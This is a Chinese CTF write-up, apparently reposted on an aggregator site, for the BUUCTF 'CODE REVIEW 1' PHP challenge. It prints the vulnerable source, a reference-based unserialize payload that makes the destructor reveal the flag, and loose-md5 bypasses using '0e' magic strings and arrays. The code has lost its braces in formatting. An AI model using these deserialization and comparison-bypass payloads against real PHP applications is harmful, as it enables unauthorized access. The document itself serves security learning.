BUU CODE REVIEW 1 1(反序列化+md5绕过)
Posted MangataTS
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU CODE REVIEW 1 1(反序列化+md5绕过)相关的知识,希望对你有一定的参考价值。
题目链接
https://buuoj.cn/challenges#BUU%20CODE%20REVIEW%201
思路
先看源代码:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU
public $correct = "";
public $input = "";
public function __destruct()
try
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input)
echo file_get_contents("/flag");
catch (Exception $e)
if($_GET['pleaseget'] === '1')
if($_POST['pleasepost'] === '2')
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])
unserialize($_POST['obj']);
我们发现需要传入一共五个变量的参数(一个GET
,四个POST
),我们可以注意到BUU
这个类,在析构函数的时候如果correct
和input
相等的话,那么就会输出flag
,那么很显然我们需要解决这个反序列化的问题,第二个问题就是md5
的问题,有一个弱md5
相等
反序列化
对于反序列化的问题,我们可以将BUU
的input
指向correct
的地址,然后析构函数的时候两个变量就相等了,然后我们这个时候输出一下序列化的结果
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU
public $correct = "";
public $input = "";
public function __destruct()
try
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input)
echo file_get_contents("/flag");
catch (Exception $e)
$obj = new BUU;
$obj->input = &$obj->correct;
echo serialize($obj);
运行、输出得到:
O:3:"BUU":2:s:7:"correct";s:0:"";s:5:"input";R:2;
那么这个就是我们需要传入的obj
的序列化对象
弱md5绕过
这个在easy_md5
那里就已经遇到过了,有两种绕过的方法:
- 方法1: 科学计数法绕过,原理是
php
里面在做==
的时候会先把两边的类型转成一样的,因为是 0 e 0e 0e 开头,php
会认为它是科学技计数法,而 0 0 0 的多少次方都是 0 0 0
常用的绕过值有:
QNKCDZO
s155964671a
s1091221200a
- 方法2:数组绕过,原理是
md5
等函数不能处理数组,导致函数返回Nul
l。而Null
是等于Null
的,导致了绕过
解决
通过hackbar
发一个post
和get
请求包,然后得到flag
关于序列化讲的不错的blog:https://blog.csdn.net/weixin_45844670/article/details/108171963
以上是关于BUU CODE REVIEW 1 1(反序列化+md5绕过)的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF | CODE REVIEW 1 (反序列化,md5绕过)